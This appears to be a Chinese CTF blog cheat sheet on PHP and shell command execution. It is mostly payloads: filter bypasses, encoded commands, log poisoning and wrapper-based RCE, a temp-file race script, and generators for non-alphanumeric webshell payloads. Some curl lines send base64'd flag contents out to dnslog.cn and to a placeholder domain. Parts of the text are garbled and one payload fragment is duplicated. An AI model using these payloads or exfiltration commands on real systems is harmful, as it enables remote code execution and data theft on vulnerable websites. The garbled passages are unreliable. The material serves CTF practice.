CTF知识集-命令执行

CTF知识集-命令执行

写在开头可能会用到的提醒

  • ;可以用%0a来替换

  • ``是shell_exec的缩写

  • ls | tee 1 把ls的输出内容存入1这个文件

  • shell查看文件的几种方式,tac | more | less | tail | sort | tac | cat | head | od | expand

  • 针对flag 可以用grep { flag.php来进行查看

  • 遇到文件包含可以用伪协议来读取

  • 遇到输出到黑洞,可以用双写绕过,ls;ls或者ls||ls或者ls%26%26ls,%26是&的url编码

  • <?= 就相当于<?php echo,<?=ls;

  • 日志注入,条件:post的eval,先用ua构造一个一句话访问,日志里存在一句话了;然后用include把日志给包含住

  • 存在eval(post),可以用post去include( G E T [ a ] ) ∣ i n c l u d e " _GET[a]) | include " GET[a])include"_POST[a],a=php伪协议

  • 如果是eval(变量),可以尝试参数逃逸,例:a=?><?=eval($_POST[a])?>

  • 输出可以用print_r var_dump

  • 获取文件包含的所有变量,include包含住文件,var_dump(get_defined_vars()),或者echo $变量

  • 获取页面源代码,搭配eval可以用,echo file_get_contents() | show_source() | highlight_file

  • 文件重命名函数rename(‘文件名’,‘新文件名’),查看当前目录print_r(scandir(‘.’))

  • 利用环境变量来凑出shell命令,例如 P A T H :   A {PATH:~A} PATH: A{PWD:~A}

  • linux的shell中两个单引号忽略,例如l’‘s或者l\s或者’l’‘s’,单引号会被忽略

  • linux的shell中,查看文件可以用<代替空格,例如:cat<flag或者cat<>flag

  • linux的/bin目录下都是可以执行二进制文件,例如cat是/bin/cat,在一些题目可能需要用到/bin/cat这种

  • linux的shell的通配符,cat = /bin/ca[a-z]

  • 环境变量截取,在Linux下a=ca;${a}t flag.php 等同于 cat flag.php

  • linux命令另类执行方法,$(printf “ls”) 等同于 $(printf \154\163) 都是执行ls,\154\163为八进制

  • linux的shell如果过滤空格,可以用$IFS | ${IFS} | %09| < | <> | %0b | %0c绕过,%09是tab

  • linux的shell如果过滤空格,可以截取环境,例如执行命令env,会出现一堆命令。Linux命令:name=si bei;${name:2:1} 那么这样子就会出现空格,看图示例

    image-20241212204051162

  • 命令执行的另类方式,在linux的shell中 echo bHMK|base64 -d 这样相当于ls,以此类推,可以构造任意字符。原理 echo ls 这样就相当于ls,echo ls|base64 这样可以把ls给base64,然后 echo bHMK|base64 -d 就相当于先base64解密,变为 echo ls ,就相当于执行了ls

  • 通过DNS通道关键信息传出来,dnslog.cn,例如curl whoami` `.dnslog.cn,那么就会解析为root.dnslog.cn,可以加密payload,例如/?cmd=a=`cat flag.php|base64`;curl ${a:0:10} .dnslog.cn,这样慢慢带出来

  • 通过http通道把消息带出来,例如/?cmd=a= cat flag.php|base64 ;curl your.domin/?a=${a:0:10},然后查看网站日志,把消息带出来

一些栗子

条件竞争

<?php
 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

payload

上py脚本

import requests
 
url = "http://ae1c9002-23cb-4075-abb5-f41d8b00947c.challenge.ctf.show/?c=. /???/????????[@-[]"
 
file = {
    "c": b"#!/bin/sh\ncat flag.php"
}
 
req = requests.post(url=url, files=file)
print(req.text)

思路

对环境进行强制POST上传,会将上传的东西变为文件,强制临时保存在/tmp/php???目录,???代表随机大小写字母,php代码结束后会自动删除。如果我们在强制上传文件后,执行了系统命令,去执行我们上传的文件,就可以做到命令执行,形成了条件竞争。. 在linux中代表执行,. /???/???[@-[],代表去/tmp下匹配临时文件了,最后面的[@-[]是linux的通配符,匹配a-z,可以在linux下自己试试/bin/ca[a-z] test.txt

简单过滤

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

payload

/?c=system("cp fla?.php 1.txt");

 
 
 

思路

利用system函数,把flag文件复制为1.txt

简单过滤

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
    eval($c);
}

payload

?c=`cp fla?.??? 1.txt`;

 
 
 

思路

利用``,把flag文件复制为1.txt

参数逃逸

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }  
}

payload

/?c=eval($_GET[a]);&a=system("cp fla* 1.txt");

 
 
 

思路

参数逃逸,eval嵌套eval,GET一个参数,在新参数里面赋值

复杂过滤

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    eval($c);
}

payload

/?c=include%0a$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

 
 
 

思路解析

使用include或者require包含文件,空格被过滤使用%0a来换行,分号被过滤无法闭合就使用?> ,后面接前面设置的参数,使用Php伪协议,
php://filter/convert.base64-encode/resource=文件名

文件包含

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
    include($c);
    echo $flag;
 
}

payload

?c=data://text/plain,<?php   system("cp fla?.php 1.txt");  ?>

 
 
 

思路

伪协议filter用不了,用data,执行函数

文件包含(短连接)

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
    include($c);
    echo $flag;
}

payload

/?c=data://text/plain,<?=system("cp fla*.* 1.txt");  ?>

 
 
 

思路

把<?php 换成<?=

命令执行,复杂

if(isset($_GET[‘c’])){

$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'||\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
}

payload

get ?c=eval(array_pop(next(get_defined_vars())));
post a=system(tac flag.php);

思路

  • 先print_r(get_defined_vars()); post传入a=要执行的函数
  • next(print_r(get_defined_vars())); next () 函数将内部指针指向数组中的下一个元素,并输出
  • arrar_pop(next(print_r(get_defined_vars()))); 把数组中的值打印出来
  • 然后eval(arrar_pop(next(print_r(get_defined_vars())))) post传入要执行的函数

eval扫目录脚本

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
#记得url编码
#在eval点进行传入

命令执行,或 异或 取反 自增脚本

例题

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);

或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php
/* php脚本*/
/* author yu22x */
 
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 
 
        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
 
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }
 
}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*py脚本*-
 
# author yu22x
 
import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="("+s1+"|"+s2+")"
   return(output)
 
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

异或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php
 
/*author yu22x*/
/*php脚本*/
 
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 
 
        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
 
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }
 
}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*-这是Py脚本*-
 
# author yu22x
 
import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="("+s1+"^"+s2+")"
   return(output)
 
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

取反运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件]

脚本

<?php
 
fwrite(STDOUT,'[+]your function: ');
 
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
 
fwrite(STDOUT,'[+]your command: ');
 
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
 
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

自增运算脚本

如何使用

该方法在.0.12以上版本不可使用
构造出的语句为: assert($*POST[*]); 使用: *=php函数 ; 例如* =phpinfo();

脚本

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

 
 
 
__='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

 
 
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值